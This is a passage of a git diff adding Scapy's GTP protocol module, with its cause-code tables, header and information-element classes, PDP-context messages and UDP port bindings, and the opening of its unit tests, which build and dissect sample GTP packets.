"Version not supported", + 199: "No resources available", + 200: "Service not supported", + 201: "Mandatory IE incorrect", + 202: "Mandatory IE missing", + 203: "Optional IE incorrect", + 204: "System failure", + 205: "Roaming restriction", + 206: "P-TMSI Signature mismatch", + 207: "GPRS connection suspended", + 208: "Authentication failure", + 209: "User authentication failed", + 210: "Context not found", + 211: "All dynamic PDP addresses are occupied", + 212: "No memory is available", + 213: "Reallocation failure", + 214: "Unknown mandatory extension header", + 215: "Semantic error in the TFT operation", + 216: "Syntactic error in TFT operation", + 217: "Semantic errors in packet filter(s)", + 218: "Syntactic errors in packet filter(s)", + 219: "Missing or unknown APN", + 220: "Unknown PDP address or PDP type", + 221: "PDP context without TFT already activated", + 222: "APN access denied : no subscription", + 223: "APN Restriction type incompatibility with currently active PDP Contexts", # noqa: E501 + 224: "MS MBMS Capabilities Insufficient", + 225: "Invalid Correlation : ID", + 226: "MBMS Bearer Context Superseded", + 227: "Bearer Control Mode violation", + 228: "Collision with network initiated request"} + +Selection_Mode = {11111100: "MS or APN", + 11111101: "MS", + 11111110: "NET", + 11111111: "FutureUse"} + +TrueFalse_value = {254: "False", + 255: "True"} + +# http://www.arib.or.jp/IMT-2000/V720Mar09/5_Appendix/Rel8/29/29281-800.pdf +ExtensionHeadersTypes = { + 0: "No more extension headers", + 1: "Reserved", + 2: "Reserved", + 64: "UDP Port", + 133: "PDU Session Container", + 192: "PDCP PDU Number", + 193: "Reserved", + 194: "Reserved" +} + + +class TBCDByteField(StrFixedLenField): + + def i2h(self, pkt, val): + return val + + def m2i(self, pkt, val): + ret = [] + for v in val: + byte = orb(v) + left = byte >> 4 + right = byte & 0xf + if left == 0xf: + ret.append(TBCD_TO_ASCII[right:right + 1]) + else: + ret += [ + TBCD_TO_ASCII[right:right + 1], + TBCD_TO_ASCII[left:left + 1] + ] + return b"".join(ret) + + def i2m(self, pkt, val): + if not isinstance(val, bytes): + val = bytes_encode(val) + ret_string = b"" + for i in range(0, len(val), 2): + tmp = val[i:i + 2] + if len(tmp) == 2: + ret_string += chb(int(tmp[::-1], 16)) + else: + ret_string += chb(int(b"F" + tmp[:1], 16)) + return ret_string + + +TBCD_TO_ASCII = b"0123456789*#abc" + + +class GTP_ExtensionHeader(Packet): + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt is None: + return GTP_UDPPort_ExtensionHeader + return cls + + +class GTP_UDPPort_ExtensionHeader(GTP_ExtensionHeader): + fields_desc = [ByteField("length", 0x40), + ShortField("udp_port", None), + ByteEnumField("next_ex", 0, ExtensionHeadersTypes), ] + + +class GTP_PDCP_PDU_ExtensionHeader(GTP_ExtensionHeader): + fields_desc = [ByteField("length", 0x01), + ShortField("pdcp_pdu", None), + ByteEnumField("next_ex", 0, ExtensionHeadersTypes), ] + + +class GTPHeader(Packet): + # 3GPP TS 29.060 V9.1.0 (2009-12) + name = "GTP-C Header" + fields_desc = [BitField("version", 1, 3), + BitField("PT", 1, 1), + BitField("reserved", 0, 1), + BitField("E", 0, 1), + BitField("S", 0, 1), + BitField("PN", 0, 1), + ByteEnumField("gtp_type", None, GTPmessageType), + ShortField("length", None), + IntField("teid", 0), + ConditionalField(XBitField("seq", 0, 16), lambda pkt:pkt.E == 1 or pkt.S == 1 or pkt.PN == 1), # noqa: E501 + ConditionalField(ByteField("npdu", 0), lambda pkt:pkt.E == 1 or pkt.S == 1 or pkt.PN == 1), # noqa: E501 + ConditionalField(ByteEnumField("next_ex", 0, ExtensionHeadersTypes), lambda pkt:pkt.E == 1 or pkt.S == 1 or pkt.PN == 1), ] # noqa: E501 + + def post_build(self, p, pay): + p += pay + if self.length is None: + tmp_len = len(p) - 8 + p = p[:2] + struct.pack("!H", tmp_len) + p[4:] + return p + + def hashret(self): + return struct.pack("B", self.version) + self.payload.hashret() + + def answers(self, other): + return (isinstance(other, GTPHeader) and + self.version == other.version and + self.payload.answers(other.payload)) + + @classmethod + def dispatch_hook(cls, _pkt=None, *args, **kargs): + if _pkt and len(_pkt) >= 1: + if (orb(_pkt[0]) >> 5) & 0x7 == 2: + from . import gtp_v2 + return gtp_v2.GTPHeader + if _pkt and len(_pkt) >= 8: + _gtp_type = orb(_pkt[1:2]) + return GTPforcedTypes.get(_gtp_type, GTPHeader) + return cls + + +class GTP_U_Header(GTPHeader): + # 3GPP TS 29.060 V9.1.0 (2009-12) + name = "GTP-U Header" + # GTP-U protocol is used to transmit T-PDUs between GSN pairs (or between an SGSN and an RNC in UMTS), # noqa: E501 + # encapsulated in G-PDUs. A G-PDU is a packet including a GTP-U header and a T-PDU. The Path Protocol # noqa: E501 + # defines the path and the GTP-U header defines the tunnel. Several tunnels may be multiplexed on a single path. # noqa: E501 + + def guess_payload_class(self, payload): + # Snooped from Wireshark + # https://github.com/boundary/wireshark/blob/07eade8124fd1d5386161591b52e177ee6ea849f/epan/dissectors/packet-gtp.c#L8195 # noqa: E501 + if self.E == 1: + if self.next_ex == 0x85: + return GTPPDUSessionContainer + return GTPHeader.guess_payload_class(self, payload) + + if self.gtp_type == 255: + sub_proto = orb(payload[0]) + if sub_proto >= 0x45 and sub_proto <= 0x4e: + return IP + elif (sub_proto & 0xf0) == 0x60: + return IPv6 + else: + return PPP + return GTPHeader.guess_payload_class(self, payload) + + +# Some gtp_types have to be associated with a certain type of header +GTPforcedTypes = { + 16: GTPHeader, + 17: GTPHeader, + 18: GTPHeader, + 19: GTPHeader, + 20: GTPHeader, + 21: GTPHeader, + 26: GTP_U_Header, + 27: GTPHeader, + 254: GTP_U_Header, + 255: GTP_U_Header +} + + +class GTPPDUSessionContainer(Packet): + name = "GTP PDU Session Container" + fields_desc = [ByteField("ExtHdrLen", None), + BitField("type", 0, 4), + BitField("spare1", 0, 4), + BitField("P", 0, 1), + BitField("R", 0, 1), + BitField("QFI", 0, 6), + ConditionalField(XBitField("PPI", 0, 3), + lambda pkt: pkt.P == 1), + ConditionalField(XBitField("spare2", 0, 5), + lambda pkt: pkt.P == 1), + ConditionalField(ByteField("pad1", 0), + lambda pkt: pkt.P == 1), + ConditionalField(ByteField("pad2", 0), + lambda pkt: pkt.P == 1), + ConditionalField(ByteField("pad3", 0), + lambda pkt: pkt.P == 1), + ByteEnumField("NextExtHdr", 0, ExtensionHeadersTypes), ] + + def guess_payload_class(self, payload): + if self.NextExtHdr == 0: + sub_proto = orb(payload[0]) + if sub_proto >= 0x45 and sub_proto <= 0x4e: + return IP + elif (sub_proto & 0xf0) == 0x60: + return IPv6 + else: + return PPP + return GTPHeader.guess_payload_class(self, payload) + + def post_build(self, p, pay): + p += pay + if self.ExtHdrLen is None: + if self.P == 1: + hdr_len = 2 + else: + hdr_len = 1 + p = struct.pack("!B", hdr_len) + p[1:] + return p + + def hashret(self): + return struct.pack("H", self.seq) + + +class GTPEchoRequest(Packet): + # 3GPP TS 29.060 V9.1.0 (2009-12) + name = "GTP Echo Request" + + def hashret(self): + return struct.pack("H", self.seq) + + +class IE_Base(Packet): + + def extract_padding(self, pkt): + return "", pkt + + +class IE_Cause(IE_Base): + name = "Cause" + fields_desc = [ByteEnumField("ietype", 1, IEType), + ByteEnumField("CauseValue", None, CauseValues)] + + +class IE_IMSI(IE_Base): + name = "IMSI - Subscriber identity of the MS" + fields_desc = [ByteEnumField("ietype", 2, IEType), + TBCDByteField("imsi", str(RandNum(0, 999999999999999)), 8)] + + +class IE_Routing(IE_Base): + name = "Routing Area Identity" + fields_desc = [ByteEnumField("ietype", 3, IEType), + TBCDByteField("MCC", "", 2), + # MNC: if the third digit of MCC is 0xf, + # then the length of MNC is 1 byte + TBCDByteField("MNC", "", 1), + ShortField("LAC", None), + ByteField("RAC", None)] + + +class IE_ReorderingRequired(IE_Base): + name = "Recovery" + fields_desc = [ByteEnumField("ietype", 8, IEType), + ByteEnumField("reordering_required", 254, TrueFalse_value)] + + +class IE_Recovery(IE_Base): + name = "Recovery" + fields_desc = [ByteEnumField("ietype", 14, IEType), + ByteField("restart_counter", 24)] + + +class IE_SelectionMode(IE_Base): + # Indicates the origin of the APN in the message + name = "Selection Mode" + fields_desc = [ByteEnumField("ietype", 15, IEType), + BitEnumField("SelectionMode", "MS or APN", + 8, Selection_Mode)] + + +class IE_TEIDI(IE_Base): + name = "Tunnel Endpoint Identifier Data" + fields_desc = [ByteEnumField("ietype", 16, IEType), + XIntField("TEIDI", RandInt())] + + +class IE_TEICP(IE_Base): + name = "Tunnel Endpoint Identifier Control Plane" + fields_desc = [ByteEnumField("ietype", 17, IEType), + XIntField("TEICI", RandInt())] + + +class IE_Teardown(IE_Base): + name = "Teardown Indicator" + fields_desc = [ByteEnumField("ietype", 19, IEType), + ByteEnumField("indicator", "True", TrueFalse_value)] + + +class IE_NSAPI(IE_Base): + # Identifies a PDP context in a mobility management context specified by TEICP # noqa: E501 + name = "NSAPI" + fields_desc = [ByteEnumField("ietype", 20, IEType), + XBitField("sparebits", 0x0000, 4), + XBitField("NSAPI", RandNum(0, 15), 4)] + + +class IE_ChargingCharacteristics(IE_Base): + # Way of informing both the SGSN and GGSN of the rules for + name = "Charging Characteristics" + fields_desc = [ByteEnumField("ietype", 26, IEType), + # producing charging information based on operator configured triggers. # noqa: E501 + # 0000 .... .... .... : spare + # .... 1... .... .... : normal charging + # .... .0.. .... .... : prepaid charging + # .... ..0. .... .... : flat rate charging + # .... ...0 .... .... : hot billing charging + # .... .... 0000 0000 : reserved + XBitField("Ch_ChSpare", None, 4), + XBitField("normal_charging", None, 1), + XBitField("prepaid_charging", None, 1), + XBitField("flat_rate_charging", None, 1), + XBitField("hot_billing_charging", None, 1), + XBitField("Ch_ChReserved", 0, 8)] + + +class IE_TraceReference(IE_Base): + # Identifies a record or a collection of records for a particular trace. + name = "Trace Reference" + fields_desc = [ByteEnumField("ietype", 27, IEType), + XBitField("Trace_reference", None, 16)] + + +class IE_TraceType(IE_Base): + # Indicates the type of the trace + name = "Trace Type" + fields_desc = [ByteEnumField("ietype", 28, IEType), + XBitField("Trace_type", None, 16)] + + +class IE_ChargingId(IE_Base): + name = "Charging ID" + fields_desc = [ByteEnumField("ietype", 127, IEType), + XIntField("Charging_id", RandInt())] + + +class IE_EndUserAddress(IE_Base): + # Supply protocol specific information of the external packet + name = "End User Address" + fields_desc = [ByteEnumField("ietype", 128, IEType), + # data network accessed by the GGPRS subscribers. + # - Request + # 1 Type (1byte) + # 2-3 Length (2bytes) - value 2 + # 4 Spare + PDP Type Organization + # 5 PDP Type Number + # - Response + # 6-n PDP Address + ShortField("length", 2), + BitField("SPARE", 15, 4), + BitField("PDPTypeOrganization", 1, 4), + XByteField("PDPTypeNumber", None), + ConditionalField(IPField("PDPAddress", RandIP()), + lambda pkt: pkt.length == 6 or pkt.length == 22), # noqa: E501 + ConditionalField(IP6Field("IPv6_PDPAddress", '::1'), + lambda pkt: pkt.length == 18 or pkt.length == 22)] # noqa: E501 + + +class APNStrLenField(StrLenField): + # Inspired by DNSStrField + def m2i(self, pkt, s): + ret_s = b"" + tmp_s = s + while tmp_s: + tmp_len = orb(tmp_s[0]) + 1 + if tmp_len > len(tmp_s): + warning("APN prematured end of character-string (size=%i, remaining bytes=%i)" % (tmp_len, len(tmp_s))) # noqa: E501 + ret_s += tmp_s[1:tmp_len] + tmp_s = tmp_s[tmp_len:] + if len(tmp_s): + ret_s += b"." + s = ret_s + return s + + def i2m(self, pkt, s): + if not isinstance(s, bytes): + s = bytes_encode(s) + s = b"".join(chb(len(x)) + x for x in s.split(b".")) + return s + + +class IE_AccessPointName(IE_Base): + # Sent by SGSN or by GGSN as defined in 3GPP TS 23.060 + name = "Access Point Name" + fields_desc = [ByteEnumField("ietype", 131, IEType), + ShortField("length", None), + APNStrLenField("APN", "nternet", length_from=lambda x: x.length)] # noqa: E501 + + def post_build(self, p, pay): + if self.length is None: + tmp_len = len(p) - 3 + p = p[:2] + struct.pack("!B", tmp_len) + p[3:] + return p + + +class IE_ProtocolConfigurationOptions(IE_Base): + name = "Protocol Configuration Options" + fields_desc = [ByteEnumField("ietype", 132, IEType), + ShortField("length", 4), + StrLenField("Protocol_Configuration", "", + length_from=lambda x: x.length)] + + +class IE_GSNAddress(IE_Base): + name = "GSN Address" + fields_desc = [ByteEnumField("ietype", 133, IEType), + ShortField("length", None), + ConditionalField(IPField("ipv4_address", RandIP()), + lambda pkt: pkt.length == 4), + ConditionalField(IP6Field("ipv6_address", '::1'), + lambda pkt: pkt.length == 16)] + + def post_build(self, p, pay): + if self.length is None: + tmp_len = len(p) - 3 + p = p[:2] + struct.pack("!B", tmp_len) + p[3:] + return p + + +class IE_MSInternationalNumber(IE_Base): + name = "MS International Number" + fields_desc = [ByteEnumField("ietype", 134, IEType), + ShortField("length", None), + FlagsField("flags", 0x91, 8, ["Extension", "", "", "International Number", "", "", "", "ISDN numbering"]), # noqa: E501 + TBCDByteField("digits", "33607080910", length_from=lambda x: x.length - 1)] # noqa: E501 + + +class QoS_Profile(IE_Base): + name = "QoS profile" + fields_desc = [ByteField("qos_ei", 0), + ByteField("length", None), + XBitField("spare", 0x00, 2), + XBitField("delay_class", 0x000, 3), + XBitField("reliability_class", 0x000, 3), + XBitField("peak_troughput", 0x0000, 4), + BitField("spare", 0, 1), + XBitField("precedence_class", 0x000, 3), + XBitField("spare", 0x000, 3), + XBitField("mean_troughput", 0x00000, 5), + XBitField("traffic_class", 0x000, 3), + XBitField("delivery_order", 0x00, 2), + XBitField("delivery_of_err_sdu", 0x000, 3), + ByteField("max_sdu_size", None), + ByteField("max_bitrate_up", None), + ByteField("max_bitrate_down", None), + XBitField("redidual_ber", 0x0000, 4), + XBitField("sdu_err_ratio", 0x0000, 4), + XBitField("transfer_delay", 0x00000, 5), + XBitField("traffic_handling_prio", 0x000, 3), + ByteField("guaranteed_bit_rate_up", None), + ByteField("guaranteed_bit_rate_down", None)] + + +class IE_QoS(IE_Base): + name = "QoS" + fields_desc = [ByteEnumField("ietype", 135, IEType), + ShortField("length", None), + ByteField("allocation_retention_prioiry", 1), + + ConditionalField(XBitField("spare", 0x00, 2), + lambda p: p.length and p.length > 1), + ConditionalField(XBitField("delay_class", 0x000, 3), + lambda p: p.length and p.length > 1), + ConditionalField(XBitField("reliability_class", 0x000, 3), + lambda p: p.length and p.length > 1), + + ConditionalField(XBitField("peak_troughput", 0x0000, 4), + lambda p: p.length and p.length > 2), + ConditionalField(BitField("spare", 0, 1), + lambda p: p.length and p.length > 2), + ConditionalField(XBitField("precedence_class", 0x000, 3), + lambda p: p.length and p.length > 2), + + ConditionalField(XBitField("spare", 0x000, 3), + lambda p: p.length and p.length > 3), + ConditionalField(XBitField("mean_troughput", 0x00000, 5), + lambda p: p.length and p.length > 3), + + ConditionalField(XBitField("traffic_class", 0x000, 3), + lambda p: p.length and p.length > 4), + ConditionalField(XBitField("delivery_order", 0x00, 2), + lambda p: p.length and p.length > 4), + ConditionalField(XBitField("delivery_of_err_sdu", 0x000, 3), + lambda p: p.length and p.length > 4), + + ConditionalField(ByteField("max_sdu_size", None), + lambda p: p.length and p.length > 5), + ConditionalField(ByteField("max_bitrate_up", None), + lambda p: p.length and p.length > 6), + ConditionalField(ByteField("max_bitrate_down", None), + lambda p: p.length and p.length > 7), + + ConditionalField(XBitField("redidual_ber", 0x0000, 4), + lambda p: p.length and p.length > 8), + ConditionalField(XBitField("sdu_err_ratio", 0x0000, 4), + lambda p: p.length and p.length > 8), + ConditionalField(XBitField("transfer_delay", 0x00000, 6), + lambda p: p.length and p.length > 9), + ConditionalField(XBitField("traffic_handling_prio", + 0x000, + 2), + lambda p: p.length and p.length > 9), + + ConditionalField(ByteField("guaranteed_bit_rate_up", None), + lambda p: p.length and p.length > 10), + ConditionalField(ByteField("guaranteed_bit_rate_down", + None), + lambda p: p.length and p.length > 11), + + ConditionalField(XBitField("spare", 0x000, 3), + lambda p: p.length and p.length > 12), + ConditionalField(BitField("signaling_indication", 0, 1), + lambda p: p.length and p.length > 12), + ConditionalField(XBitField("source_stats_desc", 0x0000, 4), + lambda p: p.length and p.length > 12), + + ConditionalField(ByteField("max_bitrate_down_ext", None), + lambda p: p.length and p.length > 13), + ConditionalField(ByteField("guaranteed_bitrate_down_ext", + None), + lambda p: p.length and p.length > 14), + ConditionalField(ByteField("max_bitrate_up_ext", None), + lambda p: p.length and p.length > 15), + ConditionalField(ByteField("guaranteed_bitrate_up_ext", + None), + lambda p: p.length and p.length > 16), + ConditionalField(ByteField("max_bitrate_down_ext2", None), + lambda p: p.length and p.length > 17), + ConditionalField(ByteField("guaranteed_bitrate_down_ext2", + None), + lambda p: p.length and p.length > 18), + ConditionalField(ByteField("max_bitrate_up_ext2", None), + lambda p: p.length and p.length > 19), + ConditionalField(ByteField("guaranteed_bitrate_up_ext2", + None), + lambda p: p.length and p.length > 20)] + + +class IE_CommonFlags(IE_Base): + name = "Common Flags" + fields_desc = [ByteEnumField("ietype", 148, IEType), + ShortField("length", None), + BitField("dual_addr_bearer_fl", 0, 1), + BitField("upgrade_qos_supported", 0, 1), + BitField("nrsn", 0, 1), + BitField("no_qos_nego", 0, 1), + BitField("mbms_cnting_info", 0, 1), + BitField("ran_procedure_ready", 0, 1), + BitField("mbms_service_type", 0, 1), + BitField("prohibit_payload_compression", 0, 1)] + + +class IE_APNRestriction(IE_Base): + name = "APN Restriction" + fields_desc = [ByteEnumField("ietype", 149, IEType), + ShortField("length", 1), + ByteField("restriction_type_value", 0)] + + +class IE_RATType(IE_Base): + name = "Rat Type" + fields_desc = [ByteEnumField("ietype", 151, IEType), + ShortField("length", 1), + ByteEnumField("RAT_Type", None, RATType)] + + +class IE_UserLocationInformation(IE_Base): + name = "User Location Information" + fields_desc = [ByteEnumField("ietype", 152, IEType), + ShortField("length", None), + ByteField("type", 1), + # Only type 1 is currently supported + TBCDByteField("MCC", "", 2), + # MNC: if the third digit of MCC is 0xf, then the length of MNC is 1 byte # noqa: E501 + TBCDByteField("MNC", "", 1), + ShortField("LAC", None), + ShortField("SAC", None)] + + +class IE_MSTimeZone(IE_Base): + name = "MS Time Zone" + fields_desc = [ByteEnumField("ietype", 153, IEType), + ShortField("length", None), + ByteField("timezone", 0), + BitField("Spare", 0, 1), + BitField("Spare", 0, 1), + BitField("Spare", 0, 1), + BitField("Spare", 0, 1), + BitField("Spare", 0, 1), + BitField("Spare", 0, 1), + XBitField("daylight_saving_time", 0x00, 2)] + + +class IE_IMEI(IE_Base): + name = "IMEI" + fields_desc = [ByteEnumField("ietype", 154, IEType), + ShortField("length", None), + TBCDByteField("IMEI", "", length_from=lambda x: x.length)] + + +class IE_MSInfoChangeReportingAction(IE_Base): + name = "MS Info Change Reporting Action" + fields_desc = [ByteEnumField("ietype", 181, IEType), + ShortField("length", 1), + ByteField("Action", 0)] + + +class IE_DirectTunnelFlags(IE_Base): + name = "Direct Tunnel Flags" + fields_desc = [ByteEnumField("ietype", 182, IEType), + ShortField("length", 1), + BitField("Spare", 0, 1), + BitField("Spare", 0, 1), + BitField("Spare", 0, 1), + BitField("Spare", 0, 1), + BitField("Spare", 0, 1), + BitField("EI", 0, 1), + BitField("GCSI", 0, 1), + BitField("DTI", 0, 1)] + + +class IE_BearerControlMode(IE_Base): + name = "Bearer Control Mode" + fields_desc = [ByteEnumField("ietype", 184, IEType), + ShortField("length", 1), + ByteField("bearer_control_mode", 0)] + + +class IE_EvolvedAllocationRetentionPriority(IE_Base): + name = "Evolved Allocation/Retention Priority" + fields_desc = [ByteEnumField("ietype", 191, IEType), + ShortField("length", 1), + BitField("Spare", 0, 1), + BitField("PCI", 0, 1), + XBitField("PL", 0x0000, 4), + BitField("Spare", 0, 1), + BitField("PVI", 0, 1)] + + +class IE_CharginGatewayAddress(IE_Base): + name = "Chargin Gateway Address" + fields_desc = [ByteEnumField("ietype", 251, IEType), + ShortField("length", 4), + ConditionalField(IPField("ipv4_address", "127.0.0.1"), + lambda + pkt: pkt.length == 4), + ConditionalField(IP6Field("ipv6_address", "::1"), lambda + pkt: pkt.length == 16)] + + +class IE_PrivateExtension(IE_Base): + name = "Private Extension" + fields_desc = [ByteEnumField("ietype", 255, IEType), + ShortField("length", 1), + ByteField("extension identifier", 0), + StrLenField("extention_value", "", + length_from=lambda x: x.length)] + + +class IE_ExtensionHeaderList(IE_Base): + name = "Extension Header List" + fields_desc = [ByteEnumField("ietype", 141, IEType), + FieldLenField("length", None, length_of="extension_headers"), # noqa: E501 + FieldListField("extension_headers", [64, 192], ByteField("", 0))] # noqa: E501 + + +class IE_NotImplementedTLV(Packet): + name = "IE not implemented" + fields_desc = [ByteEnumField("ietype", 0, IEType), + ShortField("length", None), + StrLenField("data", "", length_from=lambda x: x.length)] + + def extract_padding(self, pkt): + return "", pkt + + +ietypecls = {1: IE_Cause, + 2: IE_IMSI, + 3: IE_Routing, + 8: IE_ReorderingRequired, + 14: IE_Recovery, + 15: IE_SelectionMode, + 16: IE_TEIDI, + 17: IE_TEICP, + 19: IE_Teardown, + 20: IE_NSAPI, + 26: IE_ChargingCharacteristics, + 27: IE_TraceReference, + 28: IE_TraceType, + 127: IE_ChargingId, + 128: IE_EndUserAddress, + 131: IE_AccessPointName, + 132: IE_ProtocolConfigurationOptions, + 133: IE_GSNAddress, + 134: IE_MSInternationalNumber, + 135: IE_QoS, + 141: IE_ExtensionHeaderList, + 148: IE_CommonFlags, + 149: IE_APNRestriction, + 151: IE_RATType, + 152: IE_UserLocationInformation, + 153: IE_MSTimeZone, + 154: IE_IMEI, + 181: IE_MSInfoChangeReportingAction, + 182: IE_DirectTunnelFlags, + 184: IE_BearerControlMode, + 191: IE_EvolvedAllocationRetentionPriority, + 251: IE_CharginGatewayAddress, + 255: IE_PrivateExtension} + + +def IE_Dispatcher(s): + """Choose the correct Information Element class.""" + if len(s) < 1: + return Raw(s) + # Get the IE type + ietype = orb(s[0]) + cls = ietypecls.get(ietype, Raw) + + # if ietype greater than 128 are TLVs + if cls == Raw and ietype & 128 == 128: + cls = IE_NotImplementedTLV + return cls(s) + + +class GTPEchoResponse(Packet): + # 3GPP TS 29.060 V9.1.0 (2009-12) + name = "GTP Echo Response" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + def hashret(self): + return struct.pack("H", self.seq) + + def answers(self, other): + return self.seq == other.seq + + +class GTPCreatePDPContextRequest(Packet): + # 3GPP TS 29.060 V9.1.0 (2009-12) + name = "GTP Create PDP Context Request" + fields_desc = [PacketListField("IE_list", [IE_TEIDI(), IE_NSAPI(), IE_GSNAddress(length=4, ipv4_address=RandIP()), # noqa: E501 + IE_GSNAddress(length=4, ipv4_address=RandIP()), # noqa: E501 + IE_NotImplementedTLV(ietype=135, length=15, data=RandString(15))], # noqa: E501 + IE_Dispatcher)] + + def hashret(self): + return struct.pack("H", self.seq) + + +class GTPCreatePDPContextResponse(Packet): + # 3GPP TS 29.060 V9.1.0 (2009-12) + name = "GTP Create PDP Context Response" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + def hashret(self): + return struct.pack("H", self.seq) + + def answers(self, other): + return self.seq == other.seq + + +class GTPUpdatePDPContextRequest(Packet): + # 3GPP TS 29.060 V9.1.0 (2009-12) + name = "GTP Update PDP Context Request" + fields_desc = [PacketListField("IE_list", [ + IE_Cause(), + IE_Recovery(), + IE_TEIDI(), + IE_TEICP(), + IE_ChargingId(), + IE_ProtocolConfigurationOptions(), + IE_GSNAddress(), + IE_GSNAddress(), + IE_GSNAddress(), + IE_GSNAddress(), + IE_QoS(), + IE_CharginGatewayAddress(), + IE_CharginGatewayAddress(), + IE_CommonFlags(), + IE_APNRestriction(), + IE_BearerControlMode(), + IE_MSInfoChangeReportingAction(), + IE_EvolvedAllocationRetentionPriority(), + IE_PrivateExtension()], + IE_Dispatcher)] + + def hashret(self): + return struct.pack("H", self.seq) + + +class GTPUpdatePDPContextResponse(Packet): + # 3GPP TS 29.060 V9.1.0 (2009-12) + name = "GTP Update PDP Context Response" + fields_desc = [PacketListField("IE_list", None, IE_Dispatcher)] + + def hashret(self): + return struct.pack("H", self.seq) + + +class GTPErrorIndication(Packet): + # 3GPP TS 29.060 V9.1.0 (2009-12) + name = "GTP Error Indication" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + +class GTPDeletePDPContextRequest(Packet): + # 3GPP TS 29.060 V9.1.0 (2009-12) + name = "GTP Delete PDP Context Request" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + +class GTPDeletePDPContextResponse(Packet): + # 3GPP TS 29.060 V9.1.0 (2009-12) + name = "GTP Delete PDP Context Response" + fields_desc = [PacketListField("IE_list", [], IE_Dispatcher)] + + +class GTPPDUNotificationRequest(Packet): + # 3GPP TS 29.060 V9.1.0 (2009-12) + name = "GTP PDU Notification Request" + fields_desc = [PacketListField("IE_list", [IE_IMSI(), + IE_TEICP(TEICI=RandInt()), + IE_EndUserAddress(PDPTypeNumber=0x21), # noqa: E501 + IE_AccessPointName(), + IE_GSNAddress(ipv4_address="127.0.0.1"), # noqa: E501 + ], IE_Dispatcher)] + + +class GTPSupportedExtensionHeadersNotification(Packet): + name = "GTP Supported Extension Headers Notification" + fields_desc = [PacketListField("IE_list", [IE_ExtensionHeaderList(), + ], IE_Dispatcher)] + + +class GTPmorethan1500(Packet): + # 3GPP TS 29.060 V9.1.0 (2009-12) + name = "GTP More than 1500" + fields_desc = [ByteEnumField("IE_Cause", "Cause", IEType), + BitField("IE", 1, 12000), ] + + +# Bind GTP-C +bind_bottom_up(UDP, GTPHeader, dport=2123) +bind_bottom_up(UDP, GTPHeader, sport=2123) +bind_layers(UDP, GTPHeader, dport=2123, sport=2123) +bind_layers(GTPHeader, GTPEchoRequest, gtp_type=1, S=1) +bind_layers(GTPHeader, GTPEchoResponse, gtp_type=2, S=1) +bind_layers(GTPHeader, GTPCreatePDPContextRequest, gtp_type=16) +bind_layers(GTPHeader, GTPCreatePDPContextResponse, gtp_type=17) +bind_layers(GTPHeader, GTPUpdatePDPContextRequest, gtp_type=18) +bind_layers(GTPHeader, GTPUpdatePDPContextResponse, gtp_type=19) +bind_layers(GTPHeader, GTPDeletePDPContextRequest, gtp_type=20) +bind_layers(GTPHeader, GTPDeletePDPContextResponse, gtp_type=21) +bind_layers(GTPHeader, GTPPDUNotificationRequest, gtp_type=27) +bind_layers(GTPHeader, GTPSupportedExtensionHeadersNotification, gtp_type=31, S=1) # noqa: E501 +bind_layers(GTPHeader, GTP_UDPPort_ExtensionHeader, next_ex=64, E=1) +bind_layers(GTPHeader, GTP_PDCP_PDU_ExtensionHeader, next_ex=192, E=1) + +# Bind GTP-U +bind_bottom_up(UDP, GTP_U_Header, dport=2152) +bind_bottom_up(UDP, GTP_U_Header, sport=2152) +bind_layers(UDP, GTP_U_Header, dport=2152, sport=2152) +bind_layers(GTP_U_Header, GTPErrorIndication, gtp_type=26, S=1) +bind_layers(GTP_U_Header, GTPPDUSessionContainer, + gtp_type=255, E=1, next_ex=0x85) +bind_top_down(GTP_U_Header, IP, gtp_type=255) +bind_top_down(GTP_U_Header, IPv6, gtp_type=255) +bind_top_down(GTP_U_Header, PPP, gtp_type=255) diff --git a/libs/scapy/contrib/gtp.uts b/libs/scapy/contrib/gtp.uts new file mode 100755 index 0000000..0c4afa1 --- /dev/null +++ b/libs/scapy/contrib/gtp.uts @@ -0,0 +1,337 @@ +# GTP unit tests +# +# Type the following command to launch start the tests: +# $ test/run_tests -P "load_contrib('gtp')" -t scapy/contrib/gtp.uts + ++ GTPv1 + += GTPHeader, basic instantiation + +a = GTPHeader() +assert a.version == 1 +assert a.E == a.S == a.PN == 0 + += GTP_U_Header detection + +a = GTPHeader(raw(GTP_U_Header()/GTPErrorIndication())) +assert isinstance(a, GTP_U_Header) + += GTP_U_Header sub layers + +a = IPv6(raw(IPv6()/UDP()/GTP_U_Header()/IPv6())) +b = IPv6(raw(IPv6()/UDP()/GTP_U_Header()/IP())) +c = IP(raw(IP()/UDP()/GTP_U_Header()/IPv6())) +d = IP(raw(IP()/UDP()/GTP_U_Header()/IP())) + +assert isinstance(a[GTP_U_Header].payload, IPv6) +assert isinstance(b[GTP_U_Header].payload, IP) +assert isinstance(c[GTP_U_Header].payload, IPv6) +assert isinstance(d[GTP_U_Header].payload, IP) + +a = IP(raw(IP()/UDP()/GTP_U_Header()/PPP())) +assert isinstance(a[GTP_U_Header].payload, PPP) + += GTPCreatePDPContextRequest(), basic instantiation +gtp = IP(src="127.0.0.1")/UDP(dport=2123)/GTPHeader(teid=2807)/GTPCreatePDPContextRequest() +gtp.dport == 2123 and gtp.teid == 2807 and len(gtp.IE_list) == 5 + += GTPCreatePDPContextRequest(), basic dissection +~ random_weird_py3 +random.seed(0x2807) +rg = raw(gtp) +print(rg) +assert rg in [b"E\x00\x00K\x00\x01\x00\x00@\x11|\x9f\x7f\x00\x00\x01\x7f\x00\x00\x01\x08K\x08K\x007\x1a\xc30\x10\x00'\x00\x00\n\xf7\x10\xd6\xd2\xf6\xd8\x14\x0b\x85\x00\x04\xa3\xad\x98\xfa\x85\x00\x04F\\`\xd6\x87\x00\x0fBCD5lPP8N2u8h9l", + b"E\x00\x00K\x00\x01\x00\x00@\x11|\x9f\x7f\x00\x00\x01\x7f\x00\x00\x01\x08K\x08K\x007\xd3\xf20\x10\x00'\x00\x00\n\xf7\x107m\xaeV\x14\x08\x85\x00\x04\x83\x92K\xa3\x85\x00\x04\xb7\xb2\xff\xd0\x87\x00\x0foTrnmM9erqfhqpV"] + += GTPV1UpdatePDPContextRequest(), dissect +h = "3333333333332222222222228100a38408004588006800000000fd1134820a2a00010a2a00024aa5084b005408bb32120044ed99aea9386f0000100000530514058500040a2a00018500040a2a000187000c0213921f739680fe74f2ffff94000130970001019800080112f41004d204d29900024000b6000101" +gtp = 